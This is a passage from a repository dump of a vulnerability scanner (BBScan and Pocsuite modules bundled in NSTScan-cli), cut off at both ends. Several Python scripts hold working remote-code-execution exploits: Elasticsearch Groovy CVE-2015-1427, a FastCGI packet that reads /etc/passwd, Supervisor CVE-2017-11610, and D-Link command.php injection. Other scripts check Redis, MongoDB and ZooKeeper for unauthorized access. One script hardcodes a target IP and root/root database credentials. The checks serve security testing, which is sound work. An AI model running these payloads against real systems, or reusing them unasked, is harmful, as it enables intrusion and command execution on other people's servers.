    "} 29 | 30 | {text="invalid service url:"} 31 | 32 | {text="You don't have permission to access this page"} 33 | 34 | {text="当前页面不存在或已删除"} 35 | 36 | {text="No direct script access allowed"} 37 | 38 | {text="args not correct"} 39 | 40 | {text="Controller Not Found"} 41 | 42 | {text="url error"} 43 | 44 | {text="Bad Request"} 45 | 46 | {text="http://appmedia.qq.com/media/flcdn/404.png"} 47 | -------------------------------------------------------------------------------- /thirdparty/BBScan/rules/disabled/.gitignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/rules/disabled/.gitignore -------------------------------------------------------------------------------- /thirdparty/BBScan/rules/white.list: -------------------------------------------------------------------------------- 1 | # text to search in doc 2 | # regex can be used 3 | 4 | # 匹配的条目将被立即标记命中 5 | 6 | 7 | {text="Index of"} 8 | 9 | {text="<title>phpMyAdmin"} 10 | 11 | {text="allow_url_fopen"} 12 | 13 | {text="MemAdmin"} 14 | 15 | {text="This is the default start page for the Resin server"} 16 | 17 | # {text="Apache Tomcat"} 18 | 19 | {text="request_uri"} 20 | 21 | {text="Login to Cacti"} 22 | 23 | {text="Zabbix"} 24 | 25 | {text="Dashboard [Jenkins]"} 26 | 27 | {text="Graphite Browser"} 28 | 29 | {text="http://www.atlassian.com/software/jira"} 30 | 31 | # {regex_text="= 0 or \ 16 | str(self.index_headers).find('_saltkey=') > 0: 17 | 18 | url_lst = ['/config/config_ucenter.php.bak', 19 | '/config/.config_ucenter.php.swp', 20 | '/config/.config_global.php.swp', 21 | '/config/config_global.php.1', 22 | '/uc_server/data/config.inc.php.bak', 23 | '/config/config_global.php.bak', 24 | '/include/config.inc.php.tmp'] 25 | 26 | for _url in url_lst: 27 | status, headers, html_doc = self._http_request(_url) 28 | if status == 200 or status == 206: 29 | if html_doc.find('= 0: 30 | save_user_script_result(self, status, self.base_url + _url, 'Discuz Backup File Found') 31 | 32 | # getcolor DOM XSS 33 | status, headers, html_doc =self._http_request('/static/image/admincp/getcolor.htm') 34 | if html_doc.find("if(fun) eval('parent.'+fun+'") > 0: 35 | save_user_script_result(self, status, self.base_url + '/static/image/admincp/getcolor.htm', 36 | 'Discuz getcolor DOM XSS') 37 | -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/discuz_backup_file.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/scripts/discuz_backup_file.pyc -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/elastic_search_groovy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # __author__ = '1c3z' 4 | # __author__ = 'xfkxfk' 5 | 6 | import json 7 | import httplib 8 | from lib.common import save_user_script_result 9 | 10 | 11 | def execute(ip, command): 12 | parameters = { 13 | "size": 1, 14 | "script_fields": 15 | { 16 | "iswin": 17 | { 18 | "script": '''java.lang.Math.class.forName("java.io.BufferedReader").getConstructor(java.io. 19 | Reader.class).newInstance(java.lang.Math.class.forName("java.io.InputStreamReader"). 20 | getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName("java. 21 | lang.Runtime").getRuntime().exec("%s").getInputStream())).readLines()''' % command, 22 | "lang": "groovy" 23 | } 24 | } 25 | } 26 | data = json.dumps(parameters) 27 | try: 28 | agent = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36' 29 | url = "http://%s:9200/_search?pretty" % ip 30 | conn = httplib.HTTPConnection(ip, port=9200, timeout=10) 31 | headers ={"Content-Type": "application/x-www-form-urlencoded", "User-Agent": agent} 32 | conn.request(method='POST', url=url, body=data, headers=headers) 33 | resp = conn.getresponse() 34 | code = resp.status 35 | body = resp.read() 36 | if code != 200: 37 | return 38 | if body: 39 | body = json.loads(body) 40 | result = body["hits"]["hits"][0]["fields"]["iswin"][0] 41 | if result.find('inet addr') >= 0: 42 | return True 43 | except Exception as e: 44 | pass 45 | 46 | 47 | def do_check(self, url): 48 | if url != '/': 49 | return 50 | ip = self.host.split(':')[0] 51 | if execute(ip, 'ifconfig'): 52 | save_user_script_result(self, '', 'http://%s:9200/_search?pretty' % ip, 53 | 'ElasticSearch Groovy remote code exec CVE-2015-1427') 54 | -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/elastic_search_groovy.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/scripts/elastic_search_groovy.pyc -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/fastcgi_remote_code_execution.py: -------------------------------------------------------------------------------- 1 | # 2 | import socket 3 | from lib.common import save_user_script_result 4 | 5 | 6 | def test_fastcgi(ip): 7 | data = """ 8 | 01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00 9 | 01 04 00 01 00 8f 01 00 0e 03 52 45 51 55 45 53 10 | 54 5f 4d 45 54 48 4f 44 47 45 54 0f 08 53 45 52 11 | 56 45 52 5f 50 52 4f 54 4f 43 4f 4c 48 54 54 50 12 | 2f 31 2e 31 0d 01 44 4f 43 55 4d 45 4e 54 5f 52 13 | 4f 4f 54 2f 0b 09 52 45 4d 4f 54 45 5f 41 44 44 14 | 52 31 32 37 2e 30 2e 30 2e 31 0f 0b 53 43 52 49 15 | 50 54 5f 46 49 4c 45 4e 41 4d 45 2f 65 74 63 2f 16 | 70 61 73 73 77 64 0f 10 53 45 52 56 45 52 5f 53 17 | 4f 46 54 57 41 52 45 67 6f 20 2f 20 66 63 67 69 18 | 63 6c 69 65 6e 74 20 00 01 04 00 01 00 00 00 00 19 | """ 20 | data_s = '' 21 | for _ in data.split(): 22 | data_s += chr(int(_, 16)) 23 | try: 24 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 25 | sock.settimeout(5.0) 26 | sock.connect((ip, 9000)) 27 | sock.send(data_s) 28 | ret = sock.recv(1024) 29 | if ret.find(':root:') > 0: 30 | return True, ret 31 | else: 32 | return False, None 33 | except Exception as e: 34 | return False, None 35 | finally: 36 | sock.close() 37 | 38 | 39 | 40 | def do_check(self, url): 41 | if url != '/': 42 | return 43 | host = self.host.split(':')[0] 44 | ret, txt = test_fastcgi(host) 45 | if ret: 46 | save_user_script_result(self, '', host + ':9000', 'Fastcgi Remote Code Execution Vulnerability') 47 | -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/fastcgi_remote_code_execution.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/scripts/fastcgi_remote_code_execution.pyc -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/http_proxy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | import socket 5 | import requests 6 | requests.packages.urllib3.disable_warnings() 7 | from lib.common import save_user_script_result 8 | 9 | 10 | def do_check(self, url): 11 | if url != '/': 12 | return 13 | ip = self.host.split(':')[0] 14 | ports_open = is_port_open(ip) 15 | headers = { 16 | "User-Agent": "BugScan plugins http_proxy v0.1", 17 | "Connection": "close" 18 | } 19 | 20 | for port in ports_open: 21 | proxy_url = "http://{}:{}".format(ip, port) 22 | proxy = {"http": proxy_url, "https": proxy_url} 23 | try: 24 | _ = requests.get('http://weibo.com/robots.txt', headers=headers, proxies=proxy, timeout=10.0) 25 | code = _.status_code 26 | html = _.text 27 | if code == 200 and html.find("http://weibo.com/sitemap.xml") >= 0: 28 | save_user_script_result(self, '', '%s:%s' % (ip, port), 'HTTP Proxy Found') 29 | 30 | except Exception as e: 31 | pass 32 | 33 | 34 | def is_port_open(arg): 35 | ports_open = [] 36 | for port in [80, 8080, 8088, 8888]: 37 | try: 38 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 39 | s.settimeout(3.0) 40 | if s.connect_ex((arg, port)) == 0: 41 | ports_open.append(port) 42 | except Exception as e: 43 | pass 44 | finally: 45 | s.close() 46 | return ports_open 47 | -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/http_proxy.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/scripts/http_proxy.pyc -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/is_admin.py: -------------------------------------------------------------------------------- 1 | 2 | from lib.common import save_user_script_result 3 | 4 | 5 | def do_check(self, url): 6 | if url == '/': 7 | if self.conn_pool and self.index_status in (301, 302): 8 | for keyword in ['admin', 'login', 'manage', 'backend']: 9 | if self.index_headers.get('location', '').find(keyword) >= 0: 10 | save_user_script_result(self, self.index_status, self.base_url + '/', 11 | 'Admin Site Found') 12 | break 13 | -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/is_admin.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/scripts/is_admin.pyc -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/log_files.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/scripts/log_files.pyc -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/mongodb_unauthorized_access.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import pymongo 4 | from lib.common import save_user_script_result 5 | 6 | 7 | def do_check(self, url): 8 | if url != '/': 9 | return 10 | try: 11 | ip = self.host.split(':')[0] 12 | conn = pymongo.MongoClient(host=ip, port=27017) 13 | database_list = conn.database_names() 14 | if not database_list: 15 | conn.close() 16 | return 17 | detail = "%s MongoDB Unauthorized Access : %s" % (ip, ",".join(database_list)) 18 | conn.close() 19 | save_user_script_result(self, '', 'mongodb://%s:27017' % ip, detail) 20 | except Exception as e: 21 | pass 22 | -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/mongodb_unauthorized_access.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/scripts/mongodb_unauthorized_access.pyc -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/opennms-1099-rmi-deserialized.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/scripts/opennms-1099-rmi-deserialized.pyc -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/outlook_web_app.py: -------------------------------------------------------------------------------- 1 | # Exchange Outlook Web APP 2 | # /owa/ {status=302} {tag="/owa/auth/logon.aspx"} 3 | 4 | import httplib 5 | from lib.common import save_user_script_result 6 | 7 | 8 | def do_check(self, url): 9 | if url == '/' and self.conn_pool: 10 | if self.index_status == 302 and self.index_headers.get('location', '').lower() == 'https://%s/owa' % self.host: 11 | save_user_script_result(self, 302, 'https://%s' % self.host, 'OutLook Web APP Found') 12 | return 13 | 14 | status, headers, html_doc = self._http_request('/ews/') 15 | 16 | if status == 302: 17 | redirect_url = headers.get('location', '') 18 | if redirect_url == 'https://%shttp://%s/ews/' % (self.host, self.host): 19 | save_user_script_result(self, 302, 'https://%s' % self.host, 'OutLook Web APP Found') 20 | return 21 | if redirect_url == 'https://%s/ews/' % self.host: 22 | try: 23 | conn = httplib.HTTPSConnection(self.host) 24 | conn.request('HEAD', '/ews') 25 | if conn.getresponse().status == 401: 26 | save_user_script_result(self, 401, redirect_url, 'OutLook Web APP Found') 27 | conn.close() 28 | except: 29 | pass 30 | return 31 | 32 | elif status == 401: 33 | if headers.get('Server', '').find('Microsoft-IIS') >= 0: 34 | save_user_script_result(self, 401, self.base_url + '/ews/', 'OutLook Web APP Found') 35 | return 36 | -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/outlook_web_app.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/scripts/outlook_web_app.pyc -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/redis_unauthorized_access.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import socket 4 | from lib.common import save_user_script_result 5 | 6 | 7 | def do_check(self, url): 8 | if url != '/': 9 | return 10 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 11 | s.settimeout(3) 12 | try: 13 | host = self.host.split(':')[0] 14 | s.connect((host, 6379)) 15 | payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a' 16 | s.send(payload) 17 | data = s.recv(1024) 18 | s.close() 19 | if "redis_version" in data: 20 | save_user_script_result(self, '', 'redis://' + host + ':6379', 'Redis Unauthorized Access' ) 21 | except Exception as e: 22 | s.close() 23 | -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/redis_unauthorized_access.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/scripts/redis_unauthorized_access.pyc -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/scan_by_hostname_or_folder.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/scripts/scan_by_hostname_or_folder.pyc -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/sensitive_folders.py: -------------------------------------------------------------------------------- 1 | 2 | from lib.common import save_user_script_result 3 | 4 | folders = """ 5 | /admin 6 | /output 7 | /tmp 8 | /temp 9 | /test 10 | /conf 11 | /config 12 | /db 13 | /database 14 | /install 15 | /open-flash-chart 16 | /jPlayer 17 | /jwplayer 18 | /extjs 19 | /boss 20 | /ckeditor 21 | /cgi-bin 22 | /.ssh 23 | /ckfinder 24 | /.git 25 | /.svn 26 | /editor 27 | /bak 28 | /fck 29 | /.idea 30 | /swfupload 31 | /kibana 32 | /monitor 33 | /htmedit 34 | /htmleditor 35 | /ueditor 36 | /resin-doc 37 | /resin-admin 38 | /tomcat 39 | /zabbix 40 | /WEB-INF 41 | /WEB-INF/classes 42 | /manage 43 | /manager 44 | /test 45 | /temp 46 | /tmp 47 | /cgi-bin 48 | /deploy 49 | /backup 50 | """ 51 | 52 | 53 | def do_check(self, url): 54 | if url != '/' or not self.conn_pool or self._404_status == 301: 55 | return 56 | 57 | 58 | _folders = folders.split() 59 | 60 | for _url in _folders: 61 | status, headers, html_doc = self._http_request(_url) 62 | 63 | if status in (301, 302): 64 | location = headers.get('location', '') 65 | if location.startswith(self.base_url + _url + '/') or location.startswith(_url + '/'): 66 | save_user_script_result(self, status, self.base_url + _url, 67 | 'Possible Sensitive Folder Found') 68 | 69 | if status == 206 and self._404_status != 206: 70 | save_user_script_result(self, status, self.base_url + _url, 71 | 'Possible Sensitive File Found') 72 | 73 | -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/sensitive_folders.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/scripts/sensitive_folders.pyc -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/smb_ms17010.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/scripts/smb_ms17010.pyc -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/struts_s0245_remote_code_execution.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/scripts/struts_s0245_remote_code_execution.pyc -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/supervisord_remote_command_execution.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Author : helit 3 | # Ref: https://github.com/phith0n/vulhub/blob/master/supervisor/CVE-2017-11610/poc.py 4 | 5 | import xmlrpclib 6 | import random 7 | from lib.common import save_user_script_result 8 | 9 | 10 | def do_check(self, url): 11 | if url != '/': 12 | return 13 | arg = self.host 14 | if ':9001' not in arg: 15 | domain = arg + ':9001' 16 | else: 17 | domain = arg 18 | target = 'http://' + domain +'/RPC2' 19 | try: 20 | proxy = xmlrpclib.ServerProxy(target) 21 | old = getattr(proxy, 'supervisor.readLog')(0,0) 22 | a = random.randint(10000000, 20000000) 23 | b = random.randint(10000000, 20000000) 24 | command = 'expr ' + str(a) + ' + ' + str(b) 25 | logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')() 26 | getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile)) 27 | result = getattr(proxy, 'supervisor.readLog')(0,0) 28 | if result[len(old):].strip() == str(a+b): 29 | save_user_script_result(self, '', arg, 'CVE-2017-11610 Supervisor Remote Command Execution') 30 | except Exception as e: 31 | pass 32 | -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/supervisord_remote_command_execution.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/scripts/supervisord_remote_command_execution.pyc -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/wordpress_backup_file.py: -------------------------------------------------------------------------------- 1 | # Wordpress 2 | # /wp-config.php.inc {status=200} {tag="= 0: 16 | url_lst = ['/wp-config.php.inc', 17 | '/wp-config.inc', 18 | '/wp-config.bak', 19 | '/wp-config.php~', 20 | '/.wp-config.php.swp', 21 | '/wp-config.php.bak'] 22 | for _url in url_lst: 23 | status, headers, html_doc = self._http_request(_url) 24 | print _url 25 | if status == 200 or status == 206: 26 | if html_doc.find('= 0: 27 | save_user_script_result(self, status, self.base_url + _url, 'WordPress Backup File Found') 28 | -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/wordpress_backup_file.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/scripts/wordpress_backup_file.pyc -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/zookeeper_unauth.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | 3 | 4 | import socket 5 | from lib.common import save_user_script_result 6 | 7 | 8 | def do_check(self, url): 9 | if url != '/': 10 | return 11 | ip = self.host.split(':')[0] 12 | try: 13 | socket.setdefaulttimeout(10) 14 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 15 | s.connect((ip, 2181)) 16 | s.send('envi') 17 | data = s.recv(1024) 18 | if 'Environment' in data: 19 | save_user_script_result(self, '', 'zookeeper://%s:2181' % ip, 'Zookeeper Unauthorized Access') 20 | except Exception as e: 21 | pass 22 | finally: 23 | s.close() 24 | -------------------------------------------------------------------------------- /thirdparty/BBScan/scripts/zookeeper_unauth.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/scripts/zookeeper_unauth.pyc -------------------------------------------------------------------------------- /thirdparty/BBScan/targets/.gitignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/BBScan/targets/.gitignore -------------------------------------------------------------------------------- /thirdparty/Pocsuite/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/__init__.py -------------------------------------------------------------------------------- /thirdparty/Pocsuite/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/__init__.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/modules/dlink_command_php_exec_noauth.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | # If you have issues about development, please read: 6 | # https://github.com/knownsec/Pocsuite/blob/master/docs/CODING.md 7 | # https://github.com/knownsec/Pocsuite/blob/master/docs/COPYING 8 | 9 | from pocsuite.net import req 10 | from pocsuite.poc import POCBase, Output 11 | from pocsuite.utils import register 12 | 13 | 14 | def send_command(url, cmd): 15 | try: 16 | httpreq = req.Session() 17 | headers = {'Content-Type': 'application/x-www-form-urlencoded', 18 | 'User-Agent': 'GoogleSpider'} 19 | resp = httpreq.post(url, headers=headers, data='cmd=%s' % cmd) 20 | except: 21 | resp = None 22 | return resp 23 | 24 | 25 | class TestPOC(POCBase): 26 | name = 'Multiple Vulnerabilities in D-Link DIR-600 and DIR-300' 27 | vulID = '78176' # https://www.seebug.org/vuldb/ssvid-78176 28 | author = ['debug'] 29 | vulType = 'cmd-exec' 30 | version = '1.0' # default version: 1.0 31 | references = ['http://www.s3cur1ty.de/m1adv2013-003'] 32 | desc = '''The vulnerability is caused by missing access 33 | restrictions and missing input validation in the cmd 34 | parameter (command.php) and can be exploited to inject 35 | and execute arbitrary shell commands.''' 36 | 37 | vulDate = '2013-02-14' 38 | createDate = '2013-02-14' 39 | updateDate = '2013-02-14' 40 | 41 | appName = 'D-Link' 42 | appVersion = 'DIR-300, DIR-600' 43 | appPowerLink = '' 44 | samples = [''] 45 | 46 | def _attack(self): 47 | '''attack mode''' 48 | return self._verify() 49 | 50 | def _verify(self): 51 | '''verify mode''' 52 | result = {} 53 | self.url = self.url + '/command.php' 54 | 55 | resp = send_command(self.url, 'date +%Y%m%d') 56 | if resp and resp.text and resp.status_code == 200: 57 | date = resp.text.strip() 58 | if len(date) == 8 and date.isdigit(): 59 | result['VerifyInfo'] = {} 60 | result['VerifyInfo']['URL'] = self.url 61 | return self.parse_output(result) 62 | 63 | def parse_output(self, result): 64 | output = Output(self) 65 | if result: 66 | output.success(result) 67 | else: 68 | output.fail('Internet nothing returned') 69 | return output 70 | 71 | 72 | register(TestPOC) 73 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pcs-attack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | import re 9 | import sys 10 | from pocsuite.lib.utils import versioncheck 11 | from pocsuite.pocsuite_attack import main 12 | 13 | if __name__ == '__main__': 14 | sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) 15 | sys.exit(main()) 16 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pcs-console.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | import re 9 | import sys 10 | from pocsuite.lib.utils import versioncheck 11 | from pocsuite.pocsuite_console import main 12 | 13 | if __name__ == '__main__': 14 | sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) 15 | sys.exit(main()) 16 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pcs-verify.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | import re 9 | import sys 10 | from pocsuite.lib.utils import versioncheck 11 | from pocsuite.pocsuite_verify import main 12 | 13 | if __name__ == '__main__': 14 | sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) 15 | sys.exit(main()) 16 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocscan.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | from pocsuite.api.cannon import Cannon 3 | import MySQLdb 4 | 5 | import sys 6 | 7 | target = "http://123.206.190.217" 8 | 9 | conn = MySQLdb.connect(host='localhost',user='root',passwd='root',db='nstscan',charset='utf8') 10 | cursor = conn.cursor() 11 | cursor.execute("select * from poc limit 1") 12 | data = cursor.fetchall() 13 | conn.close() 14 | 15 | pocstring = str(data[0][2]) 16 | info = { 17 | "pocname":"dlink_command_php_exec_noauth", 18 | "pocstring" : str(pocstring) 19 | } 20 | 21 | 22 | invoker = Cannon(target, info) 23 | result = invoker.run() 24 | print result 25 | print result[7] 26 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | import re 9 | import sys 10 | from pocsuite.lib.utils import versioncheck 11 | from pocsuite.pocsuite_cli import main 12 | 13 | if __name__ == '__main__': 14 | sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) 15 | sys.exit(main()) 16 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | __title__ = 'pocsuite' 10 | __version__ = '2.0.6' 11 | __author__ = 'Knownsec Security Team' 12 | __author_email__ = 's1@seebug.org' 13 | __license__ = 'GPL 2.0' 14 | __copyright__ = 'Copyright 2017 Knownsec' 15 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/__init__.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/api/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/api/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/api/__init__.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/api/cannon.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/api/cannon.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/api/packet.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | from pocsuite.lib.utils.packet import IP, TCP, UDP, send, recv 9 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/api/poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | from pocsuite.lib.core.poc import Output, POCBase 10 | from pocsuite.lib.core.register import registerPoc as register 11 | from pocsuite.lib.utils.require import require, require_header, require_param 12 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/api/rcGen.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | import os 9 | 10 | 11 | def initial(): 12 | currentUserHomePath = os.path.expanduser('~') 13 | _ = """[Telnet404]\nAccount = Your Telnet404 Account\npassword = Your Telnet404 Password""" 14 | if not os.path.isfile(currentUserHomePath + '/.pocsuiterc'): 15 | with open(currentUserHomePath + '/.pocsuiterc', 'w') as fp: 16 | fp.write(_) 17 | 18 | initial() 19 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/api/request.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | from pocsuite.lib.request.basic import req 10 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/api/request.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/api/request.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/api/utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | from 